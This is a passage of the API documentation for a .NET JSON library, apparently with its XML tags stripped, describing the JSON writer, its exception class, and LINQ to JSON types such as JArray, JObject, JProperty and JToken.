synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously ets the state of the . - - The being written. - The value being written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Asynchronously creates an instance of with the content of the reader's current token. - - The reader. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns an instance of with the content of the reader's current token. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a timeout that will be used when executing regular expressions. - - The timeout that will be used when executing regular expressions. - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Writes this token to a asynchronously. - - A into which this method will write. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when 